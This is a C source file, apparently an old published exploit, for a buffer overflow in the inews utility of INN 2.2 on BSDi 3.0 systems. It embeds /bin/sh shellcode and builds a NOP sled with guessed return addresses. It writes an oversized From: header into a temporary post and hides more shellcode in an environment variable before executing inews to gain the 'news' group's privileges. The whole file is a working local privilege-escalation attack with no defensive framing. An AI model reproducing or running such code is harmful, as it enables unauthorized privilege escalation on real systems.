/* (BSDi)inews[inn-2.2] buffer overflow, by v9[v9@fakehalo.org].  this exploit
   yields egid/group=8(news) on BSDi/3.0 systems with innd.

   note: this is simply a port of my inews_bof.c from awhile back, w/some mods.
*/
#include <stdio.h>   
#define PATH "/usr/contrib/lib/news/inews"	/* path to inews */
#define TMPFILE "/tmp/bad.post"			/* no need to change this. */
#define SUBJECT "inews bug. (bsdi too)"		/* the subject filler. */
#define NEWSGROUP "alt.innd.bug"		/* the group filler. */
#define DEFAULT_OFFSET -5000			/* general offset. */

static char exec[]=
 "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
 "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
 "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
 "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[600],buf[4096];
 int i,offset;
 long ret;      
 FILE *inewsfile;
 fprintf(stderr,"[ (BSDi)inews[inn-2.2]: buffer overflow, by: v9[v9@fakehalo.or"
 "g]. ]\n");
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()-offset);
 for(i=0;i<600;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(600-strlen(exec)-100);i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 bof[600]=0x0;
 for(i=0;i<(4096-strlen(exec)-strlen(bof));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf);
 unlink(TMPFILE);
 inewsfile=fopen(TMPFILE,"w");
 fprintf(inewsfile,"From: %s\n",bof);
 fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP);
 fprintf(inewsfile,"Subject: %s\n\n",SUBJECT);
 fclose(inewsfile);
 printf("[ return address: 0x%lx, offset: %d. ]\n",ret,offset);
 if(execlp(PATH,"inews","-h",TMPFILE,0)){
  printf("%s: failed: invalid path.\n",argv[0],PATH);
  exit(-1);
 }
}